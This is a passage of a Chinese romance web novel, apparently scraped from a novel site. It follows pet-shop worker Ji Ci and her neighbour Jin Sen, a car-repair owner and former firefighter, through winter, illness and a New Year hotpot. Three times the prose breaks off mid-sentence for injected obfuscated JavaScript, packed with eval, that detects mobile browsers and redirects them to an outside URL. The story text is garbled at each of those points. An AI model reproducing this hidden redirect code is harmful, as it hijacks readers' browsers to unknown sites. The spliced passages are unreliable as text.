司机又回到季瓷身边,季瓷把板栗袋往他面前递了递,司机又捏了一颗。 “你是老板娘?”司机问。 季瓷一愣,连忙摇头。 “他女朋友?”司机又问。 季瓷给问懵了,指指旁边的宠物店:“我是隔壁打工的。” 司机“哦”了一声,像是明白了。 于是下一秒他又问:“能加个微信吗?” 季瓷:“……” “小季。”靳老板喊她。 季瓷“蹭”一下站起来了:“啊?” 她抱着那袋板栗快步走到靳老板身边。 靳老板把她的板栗袋的开口处折上:“板凳不干净,下次去里面坐。” 季瓷“唔”了一声:“我……我回店里了。” 她转身,还没走出一步,手臂被靳老板握住,又转了回来。 “就在我这吧。” 靳森个季瓷拿了个干净凳子,又把屋里的小太阳拎出来放在她的跟前。 然后也不管那司机怎么看他,就这么大咧咧地坐在了季瓷的身边。 司机干脆回自己车里坐着去了。 “我上班呢。”季瓷双膝并拢,两只手包在一起搁在膝盖上,低头看着指甲。 “你回店里,他就得跟过去。”靳老板说。 季瓷说:“我让他办卡。” 靳老板笑了:“黑店啊?” 闲得没事,靳老板从货架上扒拉出一个物件开始拆,季瓷双臂横在胸前,凑过去看,问是什么。 “八音盒。”靳老板说。 “业务真广,”季瓷饶有兴趣地看着,“你是不是什么都会修?” “没那么神,”靳老板微微摇头,“修半年了都没修好。” 他俩挨得太近了,肩膀隔着厚重的衣料,几乎抵在一起。 季瓷视线侧过去,看见黑色的外套上还挂着雨珠,想起之前孙姐过来送膏药,于是便问道:“我上次问你的,你还没回答我。” 靳老板抬了下眼:“什么?” 季瓷提醒他:“你的腿。” 靳老板顿了一下,然后动动右脚:“扭着了。” “骗人,”季瓷鄙视道,“你脚踝没伤。” “嘶……”靳老板歪着头,“你是行家啊?” 季瓷把她的栗子一抱:“没多行。” 不愿意讲就算了,她还不乐意听呢。 回了店里,季瓷坐在柜台前继续剥他的板栗。 没过一会儿,就像靳老板说的那样,刚才那司机果然来了。 季瓷问他办卡吗?他说加微信就办。 季瓷狠狠心说自己喜欢隔壁那老板。 司机一脸恍然大悟,说他看出来了。 季瓷心里一咯噔,着急忙慌地问:“你看出来什么?有那么明显吗?” 司机哈哈大笑:“加个微信吧,不然我去告诉隔壁老板。” 季瓷:“……” 爱告诉不告诉吧,她没招了。 季瓷到最后都没给微信,也没敢出门,怕对方真的一通乱说。 好在靳老板没特别反常,季瓷就安慰自己想多了。 元旦,许姐的宝宝出生,母女平安。 几天后季瓷和小周一起去医院探望,许姐恢复了不少,但总是腰疼,腿酸。 梁医生学的动物医院,专业不对口。 季瓷把床帘拉起来,给许姐做了套推拿。 小周惊讶:“你怎么还会这个?” 许姐舒服得嘶哑咧嘴:“我倒是忘了,你简历上写的,本科……学医。” 季瓷念过大学,还是医学,震惊小周一百年。 “怪不得你那天能闻到膏药里有什么香来着?” “麝香。”季瓷说。 “对对,”小周忙不迭地接话,“就是宫斗片里的那个。” “哪天?”许姐嗅到了一丝八卦的味道。 “孙姐给我们送蛋糕那天,”小周眉毛都快飞起来了,“许姐,孙姐和靳老板到底什么情况啊?” “别问我,”许姐一脸牙疼,“我不知道。” 虽然嘴上这么说,但就算“不知道”那肯定也是知道一点的。 小周软磨硬泡了半天,终于把许姐的嘴巴撬开一点,得到了些许新鲜信息。 靳老板的汽修店是前两年盘来的,他以前不干这个,是一名武警消防兵。 某次执行任务为了救被困者,被倒下来的横梁砸了腿,因伤退役了。 季瓷听到这差不多已经能把所有事情连在一起了。 “孙姐就是靳老板救的那个……” 许姐点点头。 “怪不得我一直觉得靳老板一身正气,原来以前是咱们人民子弟兵!” 耳边小周还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458077|185380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在叽叽喳喳地说着,季瓷鼓了鼓腮,垂下视线。 天阴,湿度很大。 尤其是晚上,烟雨朦胧的,像江南。 季瓷不放心宠物店里的猫猫狗狗,揣着馄饨去店里看了眼。 大家都很健康,也很热情,她检查了暖气无异常后关门离开。 “哗啦——” 隔壁汽修店刚巧也合上了最后一扇卷帘门。 季瓷先看到了一点橘色,靳老板摘了嘴边的烟:“今天不是没开张?” 季瓷走下两节台阶:“我住得近,不放心就过来看看。” 说完她又问:“这么晚了你要出门?” 靳森把烟丢在店门旁的小水洼里:“天冷,去楼上睡。” 他住季瓷对门那间房,铺张床的事,不讲究。 季瓷“哦”了一声,撑起伞。 空中飘着雨,棉花似的,雾蒙蒙的拢着这条街。听不见雨声,但能感觉到凉意,衣服很快就湿了。 靳森抬头看了眼天空,伞面便遮在了他的头顶。 “你怎么不爱撑伞?”季瓷抬着手臂。 靳森笑着把伞柄推向她:“没关系。” 伞沿抵在了他的肩上。 “我今晚下楼时听一奶奶说,现在交物业费送米面油,你交……还是我交?” “交过了,”靳老板把冲锋衣的帽子带上,“那些你不用管。” 靳森喜欢穿黑色,他也适合。额前的碎发有些湿了,轻轻地垂着,眉眼都收进阴影里,只能看见高挺的鼻梁,露出一点鼻尖,时隐时现,其他的就收进衣领里,看不见了。 季瓷应了一声,低头看地上的影子。 地面是湿的,平平的覆着一层水膜,路灯的投射的灯光在上面炸开,凹凸不平的水泥路面折射出零零散散的光点,像电影里失帧的画面,一跳一跳,在她还没意识到的时候所有的一切已经发生了改变。 季瓷一脚踩上去。 她走夜路一向紧张,能有多快就有多快,尤其是上次的事情发生后,季瓷每次都绷着神经,生怕突然跳出来什么牛鬼蛇神。 但靳老板在就不用担心这么多,高高大大一个人挨着你走,脑子里什么都不用想。 季瓷心也变得湿润。 “腿疼的话,可以试试热敷。” 她的声音像卷在雨雾中,似有若无的,靳森一开始没听清。 “嗯?”他侧了下视线。 季瓷转过脸,一本正经地同他说:“注意保暖,不然得关节炎。” 靳老板认同地一点头:“你懂这些?” “我……”季瓷欲言又止,把视线收回来,低头看着脚下,“懂一点点。” 他们一起进了单元楼,靳老板按下电梯上行键。 季瓷把伞拿到另一边,半个身子都转过去,低头抖了抖上面的雨。 电梯门开了,他们走进去,还是靳森按的楼层,季瓷更往里站了一些,她伞上的水像是抖不完。 一楼到八层不过几秒的时间,但狭小密闭的空间总让人不自在。 这样结伴回来好像有些太亲密了,季瓷还没和哪个异性走过这么长的一段路。 脑子里总是会想起孙姐,想她有没有和靳老板走过,又想大概是走过的。 可走过也不代表什么,就像现在的他们,仅仅只是走过一段路罢了。 季瓷握住门把手,按下指纹。 她的背后,靳老板也应声把门打开。 季瓷撑开雨伞,蹲身放在门口。 或许她应该说一句“晚安”,但“再见”是不是更适合他们现在的关系?或者“明天见”?好像也没差。 得选一个,她要关门了。 季瓷这么想着,抬脚迈过门槛。 “早点睡。”靳森说。 她僵了一下,很快转过身:“哦,你也是。” 5. 第 5 章 云城的冬天像是蹦着过来的,脚着地,跳一下,抖落了一场雪。一些雪实打实落了地,另一些半道融化了,成了淅淅沥沥的雨。 季瓷是北边人,暖气房里呆惯了的,一到室外就冷得哆嗦。 即便尽量减少外出,可一场雨后,她还是感冒了。 原本扛扛也就过去了,但屋漏偏逢连夜雨,月经定期造访,雪上加霜,季瓷小脸血色褪尽,许姐连忙放了她一天的假,让她回去休息。 季瓷推着她的小电瓶,去附近的社区医院给自己买药。 月经前两天最疼,她习惯给自己熏艾,家里的艾团没了,就去买点。 这玩意儿很少有人买,药房的医生给她开了个单子,让她去康复室取。季瓷又按着门牌走了半个走廊,最后敲开了康复室的门。 室内正中有个屏风,后面是躺椅。 季瓷的声音沙哑:“您好,我来拿药。” 医生是个烫着小卷卷的阿姨,拿过她的单子往屋内走去,季瓷原地等着,屏风后却突然有了动静。 原本躺在椅子上面的人坐了起来,抬手“吱”一声把屏风往边上挪了一些。 四目相对间,季瓷一愣:“靳老板?” 靳森眼睛一弯:“小季。” 医生拿了药出来:“认识啊?” 季瓷点点头,接过药品,没再见外,直接走到了屏风后面。 靳老板的右边裤管卷至大腿,小腿和膝盖上扎着六七根针,烤灯热热的,也不知道扎了多久。 季瓷粗略地看了眼穴位:“膝盖也有问题?” 靳老板含糊地说:“小问题。” 季瓷直接问一旁的医生:“有积液吗?” 医生点头:“有。” 季瓷直接去翻他的小腿,靳森瞬间坐直了上半身。 医生见她懂行,直接开口:“血栓倒是没有,就是一直有轻微的炎症。” 季瓷微微皱眉:“他运动量大,保暖做得又差。” 医生似乎和靳森是老相识,饶有兴趣地瞥他一眼,眼里挂着淡淡的笑:“是啊,没人管他。” 靳森轻咳一声:“哎,我这针能拔了吗?” “拔了吧,”医生笑呵呵地说,“不耽误你回家。” 季瓷是和靳老板一起回去的。 和第一次他俩一起走路一样,一个慢吞吞地骑着电瓶车,另一个在旁边走。 靳老板说她脸色很差,问她买的什么药。 季瓷只说自己感冒了。 她肚子有点疼,说话都提不上劲。 两人该在一个路口分开,靳老板却没有要拐弯的意思,季瓷问他去哪,他微微俯了些身,问她:“你生气了?” 季瓷:“……” 她生哪门子的气? 季瓷又好气又好笑:“我来月经了,肚子难受。” 靳老板“蹭”一下就把腰板挺回去了:“行,你回去休息。” 季瓷骑着她的小车回了家,先给自己泡了杯板蓝根,然后拆了艾团开始熏。 她盯着天花板,想着靳老板腿上扎的针,忍不住搓了搓手指。 以前恨不得握着针睡觉,现在已经小半年没摸了,那些东西容易让她想起自己已经过世的姥姥。 姥姥是小镇里小有名气的中医,季瓷从小就摸着药罐长大的,之后念了大学,成绩也都一直保持在上游。她一直想着自己毕业了能让姥姥过得安稳些,可事不遂人愿,姥姥去世得突然,她都没能见上最后一面。 过去的事想多了就会难过,季瓷把眼尾的湿润擦掉,长长呼了口气。 她睡了一觉,再醒时夜幕四合。 枕边的手机提醒有几条未读信息,小周发来的,许姐发来的,宠物群的,还有靳老板的。 大多问她身体还好吗,晚上吃饭没有,季瓷一一回复过去。 到靳老板这,卡壳了。 靳老板竟然问她要不要吃小馄饨。 季瓷坐在床上咬指甲。 他什么意思? 发错人了? 这馄饨,是猫是饭啊? 正纠结呢,靳老板的信息又来了。 【靳老板:回了她们不回我?】 季瓷差点没把手机扔出去。 这动静惊动了床尾的馄饨,小猫已经长大不少,冲着季瓷“喵”了一声。 季瓷又赶紧把手机捡回来。 【词不达意:在想吃不吃。】 【靳老板:吃吧,人已经去买了。】 十分钟后,季瓷收到信息,说到门口了,开门。 她放下梳子,把珊瑚绒睡衣的帽子卡头上,趿着棉拖出了卧室。 开门只开了一点点,季瓷趴在门缝里,做贼似的看了眼门外的人。 是靳老板没错。 “塞不进去,”靳老板把手上的馄饨一提,“要不我放地上你再拿?” 门缝开大了一点,季瓷伸手把馄饨拎进来,说了句“谢谢”后飞快地关了门。 她像只兴奋的兔子,捧着馄饨小跑进卧室,心里暖烘烘的,就连小腹坠坠的痛感都可以暂时忽略。 她喝了口热汤,肚子饿得鼻孔都通气了,心里舒服,给靳老板发信息:怎么这么好心? 她捧着手机等回复,低头又喝了口汤。 往上翻了翻聊天记录,觉得自己和靳老板说话时的语气变了,最起码不像以前那样特别注意礼貌。 【靳老板:我在和她们打赌。】 【词不达意:?】 【靳老板:输的人给你买馄饨。】 【词不达意:你输了?】 【靳老板:你猜。】 【词不达意:……】 【词不达意:转账10.0元】 靳老板没收钱,不过收不收都没差。 季瓷有点儿生气,但这气只能自己闷着生,蒸包子似的,“呲”一声扑到外面,就冷下来了,成了水蒸气,滴滴答答,碰着就只剩下凉。 一连几天,许姐都看出来了问题,问季瓷怎么了。 季瓷也不清楚自己在闹什么别扭——毕竟人上赶着给她买馄饨还买出错了? 她就是觉得自己想的有点多,有关靳老板的,而且以后不能再这么想了。 有些人天生温柔,对所有人都这样,她误会了,是她的原因。 - 除夕前夕,宠物店忙了起来。 单子每天源源不断,季瓷每天忙到恍惚,压根没时间想东想西。 晚上八点,一位大姐牵来一只颇为潦草的阿拉斯加。 季瓷眼前一黑。 小周已经下班,只有她一人看守。 再过一小时就该关店了,怎么也洗不了。 大姐牵过来不容易,商量着可以加钱。 季瓷十动然拒,但很快就为三百块折腰,袖子一捋准备着往十二点去干。 而这单生意也的确不负她望,光是洗完毛就折腾到快十点。 大姐在外面坐着打瞌睡,季瓷擦干狗毛扔进烘干机。 接下来的吹毛和梳毛才是重头戏,季瓷找了几把梳子挨个放好,正打扫着地上卫生时,又有人推开了店门。 感应门铃发出声响,季瓷忙得来不及回头:“不好意思已经打烊了。” “哦,我知道。” 熟悉的声线,她猛地转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458078|185380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去,是靳森。 靳老板扫了眼旁边已经睡着了的大姐,又看向烘干机里吐着舌头的大狗,最后走到季瓷面前,面对一地狗毛,叹了口气:“我说你怎么还不走,原来在忙大单。” 季瓷直起身子:“还好,忙完就走了。” “需要帮忙吗?”靳老板伸手想去接她的扫帚。 “不用,”季瓷“唰”一下转身,“我自己行。” 靳森讪讪把手收回。 他闲的没事,去逗烘干箱里的狗。 大狗吐着舌头“汪”一声,把半梦半醒的大姐惊醒了,她一脸紧张地问怎么了,季瓷盯着靳森,后者尴尬地抓了抓后脑勺:“没怎么,狗挺活泼。” 季瓷干活利索,处理完毛发就把垃圾袋扎好拎出来,靳老板强势接手,给拎到店外边去了。 “男女搭配干活不累这是。”大姐笑着说。 季瓷揉了下鼻子,戴上口罩。 吹风机发出“嗡嗡”的声音,听多了就觉得脑子也跟着一起嗡。 到最后,吹毛、梳毛来回重复,已经变成了一种机械性动作,好在狗狗比较乖,没发生什么其他意外。 季瓷糊了把脸,搓下来一撮毛。 靳老板站在她的身边:“我来会儿。” “你没穿工作服,”季瓷用手肘捅他,“别进来。” 靳老板被推了出去。 等到忙完已经十点多,大姐付了钱,牵着漂漂亮亮的大团子走了。 季瓷往一箱猫砂上一坐,两条腿岔着,眼睛盯着一处,已经灵魂出窍了。 靳老板拿了扫帚,把洗浴室打扫了。 “靳老板,”季瓷有气无力地喊他,“义务劳动啊?” “街坊邻居的,互相帮助。”靳老板说。 这话说得没毛病,靳老板好像也经常干这种事。 今天你家的电路烧坏了,明天他家的水表不走了,都会喊靳老板过去看看。 街坊邻居都住一起,每天抬头不见低头见的,这种小活费不了什么功夫,靳老板一般不收钱。 次数多了,靳老板走哪都会被问候几声,塞根烟,或者递个橘子。 真是好人呐。 “我自己来。”季瓷按着膝盖起身,想去拿靳老板手里的扫帚。 靳老板侧过身,把扫帚往后递:“你还生我气呢?” 季瓷一头雾水:“我生什么气?” 靳老板也挺无辜:“不知道啊。” 两人大眼瞪小眼看了会儿,季瓷还是把对方手里的扫帚抢了过来。 动作有些大,靳森往后退了半步。 “这是我的活,”季瓷低头扫地,“我拿工资的,不用你帮忙。” “你可真厉害。” 隔天,许姐查看监控时佩服地直摇头:“八点敢接阿拉斯猪的单。” “没办法,”季瓷叹了口气,“那位大姐说找我们店找了一下午。” “好在靳老板来帮忙了。”许姐又说。 小周的小耳朵一竖:“什么?” 季瓷把小周整个端走。 小周搂着季瓷,笑嘻嘻地问:“昨天晚上你和靳老板约会啊?” “我昨晚快累死了,”季瓷瞪她,“你怎么什么都能往那方面想?” “你怎么忽冷忽热的?前段时间靳老板不还给你送馄饨吗?” 哪壶不开提哪壶。 季瓷推开她:“你们开玩笑干嘛扯上我。” 小周笑得荡漾:“我看靳老板挺乐意给你买馄饨。” 季瓷无奈:“愿赌服输,他能怎样?” “谁说的,”小周瞪大眼睛,“那天他赢了。” 6. 第 6 章 季瓷打算对靳老板友好一点。 但打算归打算,落实很困难,之后的半个月她甚至都没见着人——靳老板去闭关修电路了。 云城今年新建了个商业古镇,临近除夕,什么花灯啊,烟火啊,什么吸引人就往里填什么。 广告词已经打出去小半年了,季瓷都知道这个地儿,靳老板过去加班加点干了个临时工,店门已经关俩星期了。 而宠物店这边也忙。 过年嘛,大家都忙着捯饬自己,该买衣服的买衣服,该烫头发的烫头发,小宠物也不能落下,修毛的修毛美容的美容,节假日价格翻倍,一天还是有源源不断的单子。 修剪那活比较专业,季瓷干不来,这半个月她要么在洗猫要么在洗狗,到最后胳膊累得都抬不起来。 好在忙但挣得多,除夕前一天,许姐给她们发了个超大红包回家过年。 季瓷被小周带着欢呼了两声,欢呼完了笑容还挂脸上,突然想起自己已经没家了,也不知道要回哪儿。 “你要留在云城?”许姐惊讶道。 “嗯,”季瓷迟钝地点了下头,“家里……没人了。” 季瓷妈妈走得早,姥姥拉扯她长大,前年姥姥也走了,她现在就一人。 “要不你跟着我吧?”许姐拉过季瓷的手,“正好帮我带我闺女,怎么样?” “谢谢许姐,”季瓷听得出来对方的关心,“我一个人没事。” 一个人吃饭、一个人睡觉、一个人生活。 这两年她经历了太多,只要能见着太阳就会好好活着。 因为季瓷过年留在云城,所以宠物店开放了那几天的寄养,期间除去硬性开支,其他的费用都直接算给季瓷,也算是给她增加了一点收入。 季瓷谢过许姐后把寄养名单一一登记下来,新增了几只宝宝,她得提前跟“小顾客”们打好关系。 等到把同事们一个一个送走之后,季瓷关上大门,拉上门帘,整个店里就她一人。 她闲得很,抱着馄饨窝在柜台内的躺椅里,小毯一盖,眼睛一眯,手机搁在小桌放着某大火的电视剧,她看不全乎,就听个声,剧情看的左一榔头右一棒的,纯蹭店里的暖气,蒸得昏昏欲睡。 不知过了多久,她听见感应门铃又在“欢迎光临”,小狗都叫起来。 接着是几声敲门声,双开玻璃门碰起来当当响,季瓷“唰”的一下坐起身,脑子里绷起弦,一把抓过手机。 “小季,你在店里吗?” 是靳老板。 季瓷绷着的那根弦瞬间就松了。 她把馄饨包在毯子里,起身开门。 靳老板穿了件黑色的夹克,腰身收着,显瘦。 下面穿着牛仔裤,深蓝色,裤脚塞进高邦骑行靴里,外面停着他的摩托。 “吃饭没?” 靳老板手里还拎着个东西,一点没客气,季瓷把锁打开后他自个儿直接推门进来了。 “没,”季瓷退后一步,“不是很饿。” “吃,”靳老板把手上的东西放在门边的货架上,“我先忙去了。” 他来得快走得快,跟阵风似的,等季瓷反应过来,隔壁的卷帘门发出“哗啦”一声响,接着灯就亮了。 季瓷把自己的外套一裹,跟着出去:“这么晚你还要忙啊?” “回来拿个东西,”靳老板在店里叮呤咣啷一阵找,声音闷在几桶乳胶漆后面,“你晚上早点回去。” 天将黑未黑,快七点了。 季瓷“哦”了一声:“那你也注意点。” 靳老板找到了他要找的东西,在手里抛了一下,直起身往店外走:“我听许老板说你过年不回去。” 季瓷慢半拍地反应过来,点了下头。 “咱俩能凑一起过年。”靳老板笑了笑,又“哗啦”一声把卷帘门踩下去。 季瓷微愣:“你也不回家过年啊?” 靳老板站在她面前,垂眸把皮手套戴上:“我家也就我一人。” 大约是一路赶过来的,语速快,说话急,字句中带着点喘,呼出来的白雾一团一团,全绕在他们的视线之间,季瓷觉得靳老板整张脸都模糊了,只剩一个好看的轮廓。 “我还得忙两天,但人能走掉,你遇着什么事了第一时间给我打电话。” 季瓷点头说好。 “走了。”靳老板隔着手套在她脑袋上轻轻按了一下。 季瓷闭了下眼,然后慢吞吞地侧过身,看靳老板抬腿跨上摩托,再把头盔卡上,整个人包得严严实实的,不是很冷。 她走回宠物店外的台阶,视线在对方的右腿稍停,靳老板捏上车把,冲季瓷挥了下手。 季瓷被风吹缩了脖子:“路上小心。” 靳老板曲起手指往后摆,意思让她进去。 季瓷只好先进了店。 隔着玻璃门,红色的尾灯消失在街道转角,季瓷发了会儿呆,然后把门帘拉上了。 货架上的东西还热着,打开来看,是一只荷叶鸡。 季瓷抿了下唇,坚持了两秒,还是没能把表情收住,笑了起来。 有饭吃有觉睡,这日子其实也不是很难熬。 - 除夕当天,靳老板提前说要回来。 季瓷收到信息时正在贴对联,宠物店各种各样的对联多的没地儿贴,她拿了两幅回来,连带着靳老板家也给贴上了。 她拍了个照,发过去,问靳老板要不要一起吃火锅。 靳老板应了声好。 刚搬过来的时候季瓷就想请靳老板吃顿饭,不过因为种种原因一直没能成功,这次也算补上了。 挺自然的,没有刻意地说谁请谁或者谁约谁,他俩说话都含糊,就像靳森说他要回来,就等着季瓷接一句吃火锅。 不过这火锅也不白吃,靳老板晚上回来时手上捎了几个菜,一身凉气,风尘仆仆的,搁下东西就蹲小太阳面前暖手去了。 季瓷喜欢吃那个荷叶鸡,但她胃口小,一只吃不完,靳老板让她随便掰,掰剩下的他来吃。 季瓷没好意思掰得太难看。 火锅是麻辣口的,他俩都能吃辣就没弄鸳鸯锅,锅底一煮开,香气顺着“咕嘟咕嘟”直翻腾的气泡里窜出来,那劲头跟唢呐似的,十分流氓地占据了整个客厅。 电视机里放着春晚,没人看,充当背景音,屋里没暖气,季瓷把小太阳拿到桌下,她穿着棉拖,靳老板没有。 季瓷问他怎么不买一个,靳老板很奇怪,说他就没想过买那玩意儿。 不止棉拖鞋,季瓷身上穿的这花里胡哨的毛绒睡衣他都没想过买。 男女思维的差异让季瓷觉得很新鲜,就像她大学才知道男生可以洗完澡不穿内裤一样,听到那种完全超出她理解能力的事情简直就像一箭射穿她的脑子,有趣,好听,还要听。 生活中细碎的小事太多了,靳老板一吃饭话也多了起来。他吃热了,脱了外套,里面穿了件黑色的高领毛衣,整个人被屋里的暖光浸得毛茸茸的,头发长了,睫毛也长,说话不妨碍吃饭,牛肉卷两盒下肚才喝口雪碧润润,季瓷看了眼剩余菜品,托着腮想冰箱里还剩些什么。 突然,门外传来声响。 具体来说,不是季瓷这户,是隔壁。 靳老板起身开门。 季瓷嚼着脆笋,看见门开后靳森有片刻的停顿,然后她就听到了孙姐的声音。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458079|185380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你怎么……住这边了?” 季瓷呛了一下,抽张纸捂住嘴巴,在想自己要不要找个地方藏起来。 不过靳老板替她否决了。 “小季住这,我跟她吃火锅呢。” 孙姐一时没能接上这话。 季瓷站起身,犹豫着走过去,在门边喊了声“孙姐”,说菜准备得多,要不要一起进来吃点。 孙姐回过神来,摆摆手,把拎着的礼盒搁在墙边:“我路过上来看看,新年快乐哈!底下还有人等我呢,你们吃去吧。” 她走得快,季瓷也没留她。 电梯门关上,靳老板把那两个礼盒拎进来,季瓷低头看了一眼,什么营养粉和大山参。 “挺补的。”季瓷说。 “回头给她妈送回去。”靳老板把门关上。 季瓷惊讶道:“你们都见家长了?” 靳老板“啧”一声:“什么见家长?严谨点。” 季瓷瘪瘪嘴,坐会凳子上重新拿起筷子,不夹菜,就这么手撑着腮横在脸边上,半天秃噜一句:“孙姐人真好。” 靳老板闷头吃了半天的肉,抬眼若有所思地看她:“你看上了?” 季瓷:“……” 她反应过来,摘了片香菜叶子砸他。 靳老板差点笑呛着。 “为什么不同意?”季瓷夹了片藕,小猫似的啃着边缘。 “谈不来。”靳老板简言意骇。 季瓷眼神乱飘,声音小得跟猫叫似的:“谈不来还收人家东西。” 靳老板咽下嘴里的鱼丸,清了清嗓子:“我收一点她心里好受些。” 季瓷咬着吸管吹泡泡。 “那些事你不是知道吗?”靳老板又说。 泡泡停下来,季瓷抬眼。 “你怎么知道我知道?” “不然你总往我腿上看什么?” 季瓷一时语塞,沉默片刻后极其艰难地开口:“……我什么时候总往你腿上看了。” 头上被扣了个莫须有的帽子,挺难摘的。 “我职业病,”季瓷狡辩道,“遇到有毛病的人就想多看几眼。” “也是,”靳老板点头,“我听许老板说你学医的。” 季瓷:“你打听我?” 靳森无视他的反问:“怎么跑去洗狗了?” 季瓷憋着气:“体验生活。” “之前不还逃避人生么?现在生活水平提高了,改体验了?” 季瓷没发现靳老板这张破嘴这么能说,一时间还真占不到便宜,于是催他:“你赶紧吃。” “这才哪到哪?”靳老板抬抬下巴,指指电视,“我还要听难忘今宵呢。” 季瓷自己吃饱后没走,坐那儿看春晚。 没一会儿馄饨出来了,她捞起来抱着,继续看。 靳老板没吃到难忘今宵,真吃到那个时候火锅底都能炼丹了,晚上九点,他收拾了碗筷,端去厨房。 季瓷尝试端锅,被他叫住了:“做饭的和洗碗的不能是同一人。” 于是季瓷又去抱猫了。 靳老板干活利索,没一会儿就把碗碟清洗干净,季瓷站在门框里指点江山,使唤他把东西放这儿放那儿。 当抹布擦完料理台上的最后一点水渍时,窗外的天空突然炸起一朵橙黄的烟花,光比声音快点儿,“砰”地一声,两人都抬头去看。 第二朵很快腾空而起,橙黄光点拖着尾巴,从幕布一般的夜空中褪下。 靳老板把抹布叠了一下,偏头看身边的季瓷:“新年快乐。” 季瓷先是一愣,然后低头rua了两把猫脑袋,声音低低的:“……新年快乐。” 7. 第 7 章 靳老板吃完火锅就走了,走之前还给了季瓷一个红包。 纸质的,正面大大的一个烫金正楷的“福”,下面一行小字:某某某人身保险有限公司。 季瓷当他没处丢垃圾打发自己玩,随手接下来了,等半小时后想起来拆了看,发现里面装着两百块钱。 季瓷惊呆了,给靳老板发信息:真给我钱啊? 对方回得很快:红包哪有给空的。 按季瓷那边的规矩,红包是长辈给小辈的,她和靳老板怎么也差不了辈。 但按靳森那边,年纪大的就能给年纪小的,什么辈分不辈分,一个彩头而已,想给就给。 季瓷问:你年纪比我大吗? 靳老板回:当然。 季瓷:大多少? 靳老板:很在意? 在意的似乎另有其人。 两人就岁数问题展开讨论,靳老板捂着他的出生年月就像捂着自己身上仅剩的裤衩,怎么套都套不出话来。 季瓷捧着手机在床上乐不可支,没一会儿对方说自己去忙了,也不知道是真忙还是借口。 零点,窗外又升起烟花,云城禁烟,鞭炮声遥远得仿佛隔了十万八千米。 大家都在群发祝福,有几条漏到季瓷这。 许姐在群里发红包,小周是运气王,开心地发了一串表情包。 季瓷想到几小时前靳老板的那句新年快乐,把脸埋进被子里,点开他的对话框。 想发点什么,但又怕对方在忙,于是开始往上翻聊天记录。 她和靳老板的聊天记录不多,话都当面说了,一会儿就翻到了顶。 手痒,点开朋友圈和头像来来回回再看几遍,跟确定什么似的,但也不知道具体是什么。 有高中时的朋友意外来电,问她还在不在京市。 季瓷把手机贴在脸边,说没有,出去了。 聊天声细碎柔和,像夜灯发出的暖暖的光晕。 被子外,有四脚兽踩着床边过来了,季瓷把被子掀开一点,馄饨跟条泥鳅似的钻进去,贴在她的脸边上蹭蹭。 朋友说好,你没事我就放心了。 季瓷闭上眼,想起姥姥,也想起妈妈,又想了想许姐和小周,最后再想到靳老板,嘴角勾着,把脸往馄饨肚子里埋埋,睡个好觉。 - 靳森从除夕前夜忙到大年初一。 等终于能睡个囫囵觉时,还没忘记许老板的嘱托,看看季瓷还喘没喘气。 挺好的,还知道给他发馄饨的照片,看样子心情应该不错。 他回了个“漂亮”,手机一扔倒头就睡。 再醒时已经是晚上,工友喊他换班。 靳森先回了趟店里,大年初一,街道两边开张的没几家,宠物店的灯亮着,里面的门帘拉了一半,他跟贼似的趴在门上往里看,没见着人。 低头掏出手机刚想发信息,身后传来几道急促的脚步,扭头一看,穿着红马甲的二哈挣着牵绳狂摇尾巴,嘴里“呼哧呼哧”喘着气,两只前爪往上一跳,“汪”地叫了一声。 季瓷一手牵着绳,另一只手把块遮眼的围巾扒拉回自己下巴底下,刚才那几步跑得她也有点喘,站定了,这才微微弯下腰,在狗头上呼噜一把:“我说你跑什么……” 好在她一次只牵一条大型犬,不然再多两条,见着靳老板,她得牵不住。 靳森下了阶梯,替她把绳牵过来:“这么晚还遛狗?” “外面也没什么人,”季瓷拿钥匙开了门,“还没遛完呢。” 他们店其实是不支持遛狗业务的,一是没那个时间,二是万一中途出事不好追责。 但客户会要求,而且很多,他们偶尔会给老客户提供这项服务,今天纯粹是季瓷闲的没事,所以把正在寄养的狗狗都拉出去遛了一圈。 “还有几只?”靳老板蹲身解了二哈的背带,拍着他的屁股把狗赶进笼子里。 “两只,”季瓷往里走,“不过都是大型犬,我得分开遛。” 她低着头,说这话时没忘身后看。 狗绳都挂在墙上,每一条都有编号,季瓷拿了一条下来,没急着走,转手整理了一下旁边放着的猫条。 “都牵着吧,”靳老板的声音靠近,“我牵一条。” 季瓷“哦”一声,把两条狗绳都取下来。 云城的街道分成两种。 一种向外的,老板大多不是本地人,店里店外装修得花里胡哨,开一些酒馆或者民宿,白天的有白天的生意,晚上有晚上的乐子。 另一种是向内的,比如季瓷住的这条街,店铺都是自家的,吃住在里面,没什么装潢,小本生意,一到晚上全关门睡觉,夜生活基本没有。 季瓷喜欢后者。 